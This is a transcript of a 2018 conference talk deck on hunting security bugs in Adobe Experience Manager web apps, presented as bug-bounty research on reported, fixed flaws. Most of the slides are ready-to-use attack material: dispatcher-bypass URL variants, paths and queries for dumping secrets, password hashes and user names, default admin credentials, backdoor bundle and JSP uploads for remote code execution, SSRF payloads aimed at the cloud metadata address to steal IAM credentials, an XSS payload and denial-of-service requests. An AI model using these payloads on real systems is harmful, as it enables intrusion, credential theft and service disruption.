

Hunting for security bugs in AEM webapps (English translation)

Hunting for security bugs in AEM webapps - @speakerdeck, Mikhail Egorov, Speaker Deck.

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Content (translated into English)

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Hunting for security bugs in AEM webapps - Speaker Deck

Hunting for security bugs in AEM webapps

Presented on Hacktivity 2018 conference - <https://www.hacktivity.com/bug-hunting-adobe-experience-manage>.

[image: Avatar for Mikhail Egorov]

Mikhail Egorov

October 13, 2018

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What's wrong with WebSocket APIs? Unveiling vulnerabilities in WebSocket APIs.
](https://speakerdeck.com/0ang3el/whats-wrong-with-websocket-apis-unveiling-vulnerabilities-in-websocket-apis)
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Securing AEM webapps by hacking them
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AEM hacker approaching Adobe Experience Manager webapps in bug bounty programs
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CSRF vulnerabilities are still relevant: how attackers bypass CSRF protection in your web application
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What Doesn't Change Decides What Changes — Intent-Driven Development × Event Sourcing × Immutability | What Doesn't Change Decides What Can — IDD × Event Sourcing × Immutability

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The Past, Present, and Future of Enterprise Java

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It Passes Type Checks, It Passes Synth Checks, but It's Still Risky — Automatically Verifying Permissions and Costs in AI's CDK — / It Passes Type Checks, It Passes Synth Checks, but It's Still Risky — Automatically Verifying Permissions and Costs in AI's CDK —

](<https://speakerdeck.com/seike460/it-passes-type-checks-it-passes-synth-checks-but-its-still-risky-automatically-verifying-permissions-and-costs-in-ais-cdk>)

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260

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N Things We Did to Roll Out Claude Code Company-Wide — Supporting 302 Plugins and 271 Committers —

](https://speakerdeck.com/kenchan/claude-codequan-she-zhan-kai-notameniyatutakotonxuan-puraguin302ge-komituta271ren-wozhi-erutameni)

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<title><a id=""</title>Can You Parse This HTML?"></title> #CasualLT_study

](https://speakerdeck.com/pizzacat83/can-you-parse-this-html)

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Building a Second Brain with Claude Code That “Gets Work Done Even While You Sleep”

](https://speakerdeck.com/tomoyafujita2016/qin-tetemoshi-shi-gajin-mu-claude-codedezu-mudier-nonoy)

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The Current State of Ever-Evolving Go Tools / The Current State of Ever-Evolving Go Tools

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You Might Be Able to Stop the Water of Lake Biwa, but You Can't Stop Net::HTTP Retries / You might be able to stop the water flow of Lake Biwa but you can't stop Net::HTTP retries

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End of SEO as We Know It (SMX Advanced Version)

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Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)

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VelocityConf: Rendering Performance Case Studies

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The Spectacular Lies of Maps

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We Analyzed 250 Million AI Search Results: Here's What I Found

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Refactoring Trust on Your Teams (GOTO; Chicago 2020)

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Rails Girls Zürich Keynote

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Transcript

Hunting for in AEM webapps Mikhail Egorov @0ang3el Budapest 2018

Mikhail Egorov, @0ang3el • Security researcher • Bug hunter (Bugcrowd,

H1) • In Top 20 on Bugcrowd • Conference speaker • Hack In The Box • Troopers • ZeroNights • PHDays • <https://twitter.com/0ang3el> • <https://www.slideshare.net/0ang3el> • <https://speakerdeck.com/0ang3el> • <https://github.com/0ang3el>

Why this talk • AEM is an enterprise-grade CMS •

AEM is widely used by high-profile companies! 3/110

Why this talk Companies that use AEM and has public

Bug bounty or Vulnerability disclosure programs 4/110

Why this talk • Using whatruns.com I grabbed 9985 unique

domains that use AEM • 5751 AEM installations were on <https://domain-name> or <https://www.domain-name> 5/110

Why this talk • AEM is big and complex =>

room for security bugs! • 26 known CVEs • Based on open source projects • Apache Felix • Apache Sling • Apache OAK JCR https://helpx.adobe.com/experience-manager/using/osgi_getting_started.html 6/110

Why this talk • New tools and techniques • Details

for fresh CVEs 7/110 Kudos to Jason Meyer (@zaptechsol)

-

Previous work • PHDays 2015, @0ang3el • <https://www.slideshare.net/0ang3el/hacking-aem-sites> 8/110

-

Previous work • 2016, @darkarnium • <http://www.kernelpicnic.net/2016/07/24/Microsoft-signout.live.com-Remote-Code-Execution-Write-Up.html> 9/110

-

Previous work • SEC-T 2018, @fransrosen • <https://speakerdeck.com/fransrosen/a-story-of-the-passive-aggressive-sysadmin-of-aem> 10/110

-

Previous work • 2018, @JonathanBoumanium • <https://medium.com/@jonathanbouman/reflected-xss-at-philips-com-e48bf8f9cd3c> 11/110

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All mentioned vulnerabilities were reported to resource owners or Adobe

PSIRT and are fixed!!!

-

AEM deployment and AEM dispatcher bypasses

-

Common AEM deployment <https://aemcorner.com/aem-common-deploy-models/> Main blocks: • Author AEM instance

• Publish AEM instance • AEM dispatcher (~WAF) Interacts with Publish server via AEM Dispatcher! 4503/tcp 4502/tcp 443/tcp ? 14/110

-

AEM Dispatcher • Module for Web Server (Apache, IIS) •

<https://www.adobe.com/content/companies/public/adobe/dispatcher/dispatcher.html> • Provides security (~WAF) and caching layers 15/110

-

AEM Dispatcher • In theory ... a front end system

offers an extra layer of security to your Adobe Experience Manager infrastructure • In practice ... it's the only security layer!!! • Admins rarely keep all components on Publish updated and securely configured 16/110

AEM Dispatcher • Dispatcher bypasses allow to talk to those

"insecure" components ... and have LULZ 17/110

AEM Dispatcher bypasses • CVE-2016-0957 • New bypass technique(no details

for now – not fixed) • Add multiple slashes • SSRF • ... 18/110

Using CVE-2016-0957 /filter { # Deny everything first and then

allow specific entries /0001 { /type "deny" /glob "" } /0023 { /type "allow" /url "/" /content" } # disable this rule to allow mapped content only /0041 { /type "allow" /url ".css" } # enable css /0042 { /type "allow" /url ".gif" } # enable gifs /0043 { /type "allow" /url ".ico" } # enable icos /0044 { /type "allow" /url ".js" } # enable javascript /0045 { /type "allow" /url ".png" } # enable png /0046 { /type "allow" /url ".swf" } # enable flash /0047 { /type "allow" /url ".jpg" } # enable jpg /0048 { /type "allow" /url ".jpeg" } # enable jpeg /0062 { /type "allow" /url "/libs/cq/personalization/*" } # enable personalization Policy dispatcher.any before CVE-2016-0957 19/110

Using CVE-2016-0957 # Deny content grabbing /0081 { /type "deny"

/url ".infinity.json" } /0082 { /type "deny" /url ".tidy.json" } /0083 { /type "deny" /url ".sysview.xml" } /0084 { /type "deny" /url ".docview.json" } /0085 { /type "deny" /url ".docview.xml" } /0086 { /type "deny" /url "[0-9].json" } # Deny query (and additional selectors) /0090 { /type "deny" /url ".query*.json" } } Policy dispatcher.any before CVE-2016-0957 20/110

Using CVE-2016-0957 https://aemsite/bin/querybuilder.json https://aemsite/bin/querybuilder.json/a.css https://aemsite/bin/querybuilder.json/a.html https://aemsite/bin/querybuilder.json/a.ico https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css https://aemsite/bin/querybuilder.json/a.1.json Blocked

Allowed 21/110

Using CVE-2016-0957 <https://aemsite/bin/querybuilder.json> <https://aemsite/bin/querybuilder.json/a.css> /0090 { /type "deny" /url ".query.json"

} Last rule that matches the request is applied and has deny type!

ah`https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css`

`https://aemsite/bin/querybuilder.json/a.1.json` Blocked 22/110

-

Using CVE-2016-0957 <https://aemsite/bin/querybuilder.json/a.css> <https://aemsite/bin/querybuilder.json/a.css> /0041 { /type "allow" /url "*.css"

} # enable css Last rule that matches the request is applied and has allow type!

ah`https://aemsite/bin/querybuilder.json/a.png https://aemsite/bin/querybuilder.json;%0aa.css`

`https://aemsite/bin/querybuilder.json/a.1.json` Allowed 23/110

-

New bypass technique /filter { # Deny everything first and

then allow specific entries /0001 { /type "deny" /glob "" } # Allow non-public content directories /0023

{ /type "allow" /url "/content" } # disable this rule to allow mapped content only # Enable extensions

in non-public content directories, using a regular expression /0041 { /type "allow" /extension

'(clientlibs|css|gif|ico|js|png|swf|jpe?g|woff2?)' } Policy dispatcher.any after CVE-2016-0957

24/110

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New bypass technique # Enable features /0062 { /type "allow"

/url "/libs/cq/personalization/*" } # enable personalization # Deny content grabbing, on all

accessible pages, using regular expressions /0081 { /type "deny" /selectors '((sys|doc)view|query|

[0-9-]+)' /extension '(json|xml)' } Policy dispatcher.any after CVE-2016-0957 25/110

-

New bypass technique # Deny content grabbing for /content /0082

{ /type "deny" /path "/content" /selectors '(feed|rss|pages|languages|blueprint|infinity|tidy|

/extension '(json|xml|html)' } } Policy dispatcher.any after CVE-2016-0957 26/110

-

New bypass technique <https://aemsite/bin/querybuilder.json> <https://aemsite/bin/querybuilder.json/a.css> <https://aemsite/bin/querybuilder.json;%0aa.css> Blocked 27/110 Sorry, details

will be disclosed later!

-

Add multiple slashes • `///etc.json` instead of `/etc.json` • `///bin///querybuilder.js` on

instead of `/bin/querybuilder.json` 28/110

-

Using SSRF • We need SSRF in a component that

is allowed by AEM dispatcher policy • Effective way to bypass AEM dispatcher! 29/110

-

Things to remember • Usually AEM dispatcher is the only

security layer • Usually it's easy to bypass AEM dispatcher • AEM admins usually fail to configure Publish instance securely and install updates timely ... • Profit! 30/110

-

Quickly “sniff out” buggy AEM webapp

-

Get JSON with JCR node props `/.json` `/.1.json` `/.childrenlist.json` `/.ext.json`

`/.4.2.1...json` `/json/a.css` `/json/a.html` `/json/a.png` `/json/a.ico` `/json;%0aa.css` `/content.json`
`/content.1.json` `/content.childrenlist.json` `/content.ext.json` `/content.4.2.1...json` `/content.json/a.css`
`/content.json/a.html` `/content.json/a.png` `/content.json/a.ico` `/content.json;%0aa.css` `/bin.json`
`/bin.1.json` `/bin.childrenlist.json` `/bin.ext.json` `/bin.4.2.1...json` `/bin.json/a.css` `/bin.json/a.html`
`/bin.json/a.png` `/bin.json/a.ico` `/bin.json;%0aa.css` `/bin` `/content` 32/110

-

Yea baby this is AEM `https://<redacted>.twitter.com/.json` `https://<redacted>.twitter.com/.ext.json` 33/110

-

Invoke servlets `/system/sling/loginstatus.json` `/system/sling/loginstatus.css` `/system/sling/loginstatus.png` `/system/sling/loginstatus.gif` `/system/sling/loginstatus.html` `/system/sling/loginstatus.json/a.1.json` `/system/sling/loginstatus.json;%0aa.css` `/system/bgservlets/test.json`

`/system/bgservlets/test.css` `/system/bgservlets/test.png` `/system/bgservlets/test.gif`
`/system/bgservlets/test.html` `/system/bgservlets/test.json/a.1.json`
`/system/bgservlets/test.json;%0aa.css` `/system/bgservlets/test` `/system/sling/loginstatus` 34/110

-

Yea baby this is AEM <https://<redacted>.adobe.com/system/sling/loginstatus.css> <https://www.<redacted>/system/bgservlets/test.json> 35/110

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Grabbing juicy data from JCR

-

What we can find • Everything is stored in JCR

repository as node properties including: • Secrets (passwords, encryption keys, tokens) • Configuration • PII • Usernames 37/110

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AEM servlets for grabbing loot • DefaultGetServlet • QueryBuilderJsonServlet •

QueryBuilderFeedServlet • GQLSearchServlet • ... 38/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res 39/110

-

DefaultGetServlet • Allows to get JCR node with its props

• Selectors • tidy • infinity • numeric value: -1, 0, 1 ... 99999 • Formats • json • xml • res good for retrieving files 40/110

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DefaultGetServlet <https://aem.site/.tidy.3.json> jcr:root selector tidy selector depth output format Get

JCR nodes with props starting from jcr:root with depth 3 and return formatted JSON 41/110

-

DefaultGetServlet – How to grab • Get node names, start

from jcr:root • /.1.json • /.ext.json • /.childrenlist.json • Or guess node names: /content, /home, /var, /etc • Dump props for each child node of jcr:root • /content.json or /content.5.json or /content.-1.json 42/110

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DefaultGetServlet – What to grab • Interesting nodes • /etc

- may contain secrets (passwords, enc. keys, ...) • /apps/system/config or /apps/<smth>/config (passwords, ...) • /var – may contain private information (PII) • /home – password hashes, PII • Interesting props – contain AEM users names • jcr:createdBy • jcr:lastModifiedBy • cq:lastModifiedBy 43/110

P1 submission for private BB program - AEM webapp reveals

DB passwords /apps/<redacted>/config.author.tidy.1..json/a.ico DefaultGetServlet – In the wild 44/110

• We can search JCR using different predicates • <https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/querybuilder-predicate-reference.html>

predicate-reference.html • QueryBuilderJsonServlet allows to get Nodes and their Props (DefaultGetServlet on steroids) • QueryBuilderFeedServlet allows to get Nodes (no Props) • but we can use blind binary search for Props QueryBuilder: JsonServlet & FeedServlet 45/110

QueryBuilder: JsonServlet & FeedServlet ///bin///querybuilder.json ///bin///querybuilder.json.servlet ///bin///querybuilder.json/a.css ///bin///querybuilder.json.servlet/a.css ///bin///querybuilder.json/a.ico ///bin///querybuilder.json.servlet/a.ico

///bin///querybuilder.json;%0aa.css ///bin///querybuilder.json.servlet;%0aa.css
///bin///querybuilder.json/a.1.json ///bin///querybuilder.json.servlet/a.1.json
///bin///querybuilder.json.css ///bin///querybuilder.json.ico ///bin///querybuilder.json.html
///bin///querybuilder.json.png /bin/querybuilder.json ///bin///querybuilder.feed.servlet
///bin///querybuilder.feed.servlet/a.css ///bin///querybuilder.feed.servlet/a.ico
///bin///querybuilder.feed.servlet;%0aa.css ///bin///querybuilder.feed.servlet/a.1.json
/bin/querybuilder.feed.servlet 46/110

Examples of useful searches • type=nt:file&nodename=*.zip • path=/home&p.hits=full&p.limit=-1 • hasPermission=jcr:write&path=/content

• hasPermission=jcr:addChildNodes&path=/content •
hasPermission=jcr:modifyProperties&path=/content •
p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation=unequals&property.value=admin&type=nt%3abase&p.limit=1000 • path=/etc&path.flat=true&p.nodedepth=0 •
path=/etc/replication/agents.author&p.hits=full&p.nodedepth=-1 47/110

Examples of useful searches type=nt:file&nodename=*.zip P1 submission for private BB

– grab prod config for Author server 48/110

-

path=/home&p.hits=full&p.limit=-1 P1 submission for private BB – grab AEM users

hashed passwords Examples of useful searches 49/110

-

Examples of useful searches hasPermission=jcr:write&path=/content P2 submission for Twitter BB

– Persistent XSS with CSP bypass Root cause: • /content/usergenerated/etc/commerce/smartlists was writable for anon user • POST servlet was accessible for anon user 50/110

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Examples of useful searches p.hits=selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alastModifiedBy&property.operation=unequals&property.value=admin& type=nt%3abase&p.limit=1000 AEM users names!

51/110

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Examples of useful searches path=/etc&path.flat=true&p.nodedepth=0 path=/etc/cloudsettings&p.hits=full&p.nodedepth=-1 /etc.childrenlist.json /etc/cloudsettings.-1.json 52/110

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GQLSearchServlet • GQL is a simple fulltext query language, similar

to Lucene or Google queries • [https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?](https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html)

[org/apache/jackrabbit/commons/query/GQL.html](https://helpx.adobe.com/experience-manager/6-3/sites/developing/using/reference-materials/javadoc/index.html?org/apache/jackrabbit/commons/query/GQL.html) • We can get Node names (not Props) • but we can use blind binary search for Props 53/110

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GQLSearchServlet ///bin///wcm/search/gql.servlet.json ///bin///wcm/search/gql.json ///bin///wcm/search/gql.json/a.1.json ///bin///wcm/search/gql.json;%0aa.css ///bin///wcm/search/gql.json/a.css ///bin///wcm/search/gql.json/a.ico

[///bin///wcm/search/gql.json/a.png](#) [///bin///wcm/search/gql.json/a.html](#) [/bin/wcm/search/gql.servlet.json](#)

54/110

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GQLSearchServlet – examples of searches [query=path:/etc%20type:base%20limit:...-1&pathPrefix= /etc.ext.infinity.json](#) 55/110

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Enum users & brute creds

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Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... 57/110

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Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... King of AEM Default password – admin 58/110

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Enum users • DefaultGetServlet or QueryBuilderJsonServlet • Default users •

admin • author • ... Has jcr:write for /content Default password – author 59/110

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Brute creds • AEM supports basic auth, no bruteforce protection!

• [LoginStatusServlet – /system/sling/loginstatus.json](#) VS 60/110

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LoginStatusServlet [///system///sling/loginstatus.json](#) [///system///sling/loginstatus.json/a.css](#) [///system///sling/loginstatus.json/a.ico](#) [///system///sling/loginstatus.json;%0aa.css](#) [///system///sling/loginstatus.json/a.1.json](#) [///system///sling/loginstatus.css](#) [///system///sling/loginstatus.ico](#) [///system///sling/loginstatus.png](#) [///system///sling/loginstatus.html](#)

[/system/sling/loginstatus.json](#) 61/110

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P1 submission for Adobe VDP – Default admin creds Bugs

in the wild 62/110

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P1 submission for LinkedIn VDP – Weak passwords for some

AEM users Bugs in the wild 63/110

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Getting code execution

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Universal RCE variants • Uploading backdoor OSGI bundle • Requires

admin and access to /system/console/bundles • <https://github.com/0ang3el/aem-rce-bundle.git> (works for AEM 6.2 or newer) • Uploading backdoor jsp script to /apps • Requires write access to /apps • Requires ability to invoke SlingPostServlet •

<https://sling.apache.org/documentation/getting-started/discover-sling-in-15-minutes.html> • ... 65/110

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Generate skeleton for AEM bundle 66/110 mvn org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -DarchetypeGroupId=com.adobe.granite.archetypes

\ -DarchetypeArtifactId=aem-project-archetype \ -DarchetypeVersion=11 \ -

DarchetypeCatalog=<https://repo.adobe.com/nexus/content/groups/public/> mvn

org.apache.maven.plugins:maven-archetype-plugin:2.4:generate \ -

DarchetypeGroupId=com.day.jcr.vault \ -DarchetypeArtifactId=multimodule-content-package-archetype \ -DarchetypeVersion=1.0.2 \ -

DarchetypeCatalog=<https://repo.adobe.com/nexus/content/groups/public/> For AEM 6.2 For AEM 5.6

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Uploading backdoor bundle /bin/backdoor.html?cmd=ifconfig 67/110

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GIF DEMO <https://www.youtube.com/watch?v=DXBvZbz7Z1s>

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Uploading backdoor jsp script • Create node rcenode somewhere with

property sling:resourceType=rcetype • Create node /apps/rcetype and upload html.jsp with payload to node • Open <https://aem-site/rcenode.html?cmd=ifconfig> and have LULZ •

<https://github.com/0ang3el/aem-hacker/blob/master/aem-rce-sling-script.sh> 69/110

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<https://www.youtube.com/watch?v=RDFOt7r7VBk>

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Server Side Request Forgery

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SSRF in ReportingServicesProxyServlet CVE-2018-12809 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response • Leak secrets (IAM creds), XSS (bypasses XSS filters), bypass dispatcher • <https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html>
/libs/cq/contentinsight/content/proxy.reportingservices.json
/libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet 72/110

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SSRF in ReportingServicesProxyServlet /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.html?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.ico?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet.png?url=http://169.254.169.254%23/api1.omniture.com/a&q=a /libs/cq/contentinsight/content/proxy.reportingservices.json/a.css?url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json/a.html?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json/a.ico?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json/a.png?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json/a.1.json?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a

/libs/cq/contentinsight/content/proxy.reportingservices.json;%0aa.css?

url=http://169.254.169.254%23/api1.omniture.com/a&q=a 73/110

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Leak

IAM role creds 74/110

SSRF in ReportingServicesProxyServlet P1 submission for private BB – Ex-filtrate

secrets from /etc via SSRF 75/110

SSRF in ReportingServicesProxyServlet P2 submission for Adobe VDP – SSRF

and RXSS 76/110

SSRF in SalesforceSecretServlet CVE-2018-5006 • Versions: 6.0, 6.1, 6.2, 6.3,

6.4 • Allows to see the response** • Leak secrets (IAM role creds), RXSS (bypasses XSS filters) •

<https://helpx.adobe.com/security/products/experience-manager/apsb18-23.html>

/libs/mcm/salesforce/customer.json ** - Servlet makes POST request to URL 77/110

SSRF in SalesforceSecretServlet /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.css?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.html?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.ico?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.png?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.jpeg?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.gif?checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e

/libs/mcm/salesforce/customer.html/a.1.json?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.html;%0aa.css?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx &code=e /libs/mcm/salesforce/customer.json/a.css?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.json/a.png?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e /libs/mcm/salesforce/customer.json/a.gif?

checkType=authorize&authorization_url=http://169.254.169.254&customer_key=zzzz&customer_secret=zzzz&redirect_uri=xxxx&code=e 78/110

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SSRF in SalesforceSecretServlet P1 submission for Adobe VDP – Leak

IAM role creds 79/110

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SSRF in SalesforceSecretServlet P2 submission for private BB – SSRF

and RXSS 80/110

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SSRF in SiteCatalystServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to specify arbitrary HTTP headers via CRLF or LF injection • HTTP smuggling (works for Jetty)

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet

/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json 81/110

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SSRF in SiteCatalystServlet 82/110

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SSRF in SiteCatalystServlet /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.css?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.html?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.ico?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.png?dat

acenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.gif?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet.1.json?datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy

/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet;%0aa.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/components/sitecatalystpage/segments.json.servlet/a.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.html?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.png?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json/a.1.json?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy
/libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json;%0aa.css?
datacenter=https://site%23&company=xxx&username=zzz&secret=yyyy 83/110

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SSRF in AutoProvisioningServlet No CVE from Adobe PSIRT • Allows

to blindly send POST requests • Allow to inject arbitrary HTTP headers • HTTP smuggling (works for Jetty) /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json 84/110

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SSRF in AutoProvisioningServlet 85/110

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SSRF in AutoProvisioningServlet /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.css /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.html /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.ico /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.png /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.gif /libs/cq/cloudservicesprovisioning/content/autoprovisioning.json/a.1.json

/libs/cq/cloudservicesprovisioning/content/autoprovisioning.json;%0aa.css 86/110

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SSRF to RCE • It's possible to escalate 2 SSRFs

to RCE on Publish server • Tested on AEM 6.2 before AEM-6.2-SP1-CFP7 fix pack •
<https://www.adobe.com/uk/content/marketplace/marketplaceProxy.html?packagePath=/content/companies/public/adobe/packages/cq620/cumulativefixpack/AEM-6.2-SP1-CFP7-87/110>

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SSRF to RCE • Topology is used by replication mechanisms

in AEM • <https://sling.apache.org/documentation/bundles/discovery-api-and-impl.html> •
<https://helpx.adobe.com/experience-manager/kb/HowToUseReverseReplication.html> • To join Topology PUT request must be sent to TopologyConnectorServlet • TopologyConnectorServlet is accessible on localhost only (default) • Via SSRF with HTTP smuggling we can access TopologyConnectorServlet 88/110

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SSRF to RCE • When node joins the topology Reverse

replication agent is created automatically • Reverse replication agent replicates nodes from malicious AEM server to Publish server ... RCE! 89/110

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<https://www.youtube.com/watch?v=awPJRIR47jo>

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<script> AEM XSS </script>

-

XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 92/110

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XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response Persistent 93/110

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• **Create new node and upload SVG (jcr:write, jcr:addChildNodes) •**

Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response XSS variants Reflected 94/110

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XSS variants • Create new node and upload SVG (jcr:write,

jcr:addChildNodes) • Create new node property with XSS payload (jcr:modifyProperties) • SWF XSSes from @fransrosen • WCMDDebugFilter XSS – CVE-2016-7882 • See Philips XSS case @JonathanBoumanium • Many servlets return HTML tags in JSON response 95/110

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SuggestionHandler servlet • /bin/wcm/contentfinder/connector/suggestions.json • Reflects pre parameter in JSON

response • What if Content-Type of response is based on file extension in URL: • /a.html 96/110

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XSS variants P3 submission for private BB – Reflected XSS

/bin/wcm/contentfinder/connector/suggestions.json/a.html?
query_term=path%3a/&pre=%3Csvg+onload%3Dalert(document.domain)%3E&post=yyyy 97/110

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DoS attacks

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DoS is easy • /.ext.infinity.json • /.ext.infinity.json?tidy=true • /bin/querybuilder.json?type=nt:base&p.limit=-1 •

/bin/wcm/search/gql.servlet.json?query=type:base%20limit:...-1&pathPrefix= •
/content.assetsearch.json?query=&start=0&limit=10&random=123 • /..assetsearch.json?
query=&start=0&limit=10&random=123 • /system/bgservlets/test.json?
cycles=999999&interval=0&flushEvery=1111 11111 99/110

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DoS is easy /content.ext.infinity.1..json?tidy=true 100/110

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Other tricks

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ExternalJobPostServlet javadeser • Old bug, affects AEM 5.5 – 6.1

• <http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization-bug/> •
/libs/dam/cloud/proxy.json • Parameter file accepts Java serialized stream and passes to
ObjectInputStream.readObject() 102/110

ExternalJobPostServlet javadeser Payload from oisdos tool 103/110

ExternalJobPostServlet javadeser 104/110

XXE via webdav • Old bug, CVE-2015-1833 • It's possible

to read local files with PROPFIND/PROPPATCH • <https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about-webdav> 105/110

XXE via webdav – webdav support is on? • Send

OPTIONS request • Allow headers in response contain webdav-related methods • Navigate to
/crx/repository/test • 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV"
106/110

AEM hacker toolset

AEM hacker toolset • <https://github.com/0ang3el/aem-hacker.git> • aem_hacker.py • aem_discoverer.py • aem_enum.py

• aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin • You need VPS to run
aem_hacker.py 108/110

AEM hacker toolset – aem-hacker.py • Sensitive nodes exposure via

DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet & QueryByulderFeedServlet
& GraphQLSearchServlet exposure • PostServlet exposure • SSRFs checks • LoginStatusServlet & default
creds check • SWF XSSes • WCMDDebugFilter XSS • SuggestionHandler XSS • Log records exposure
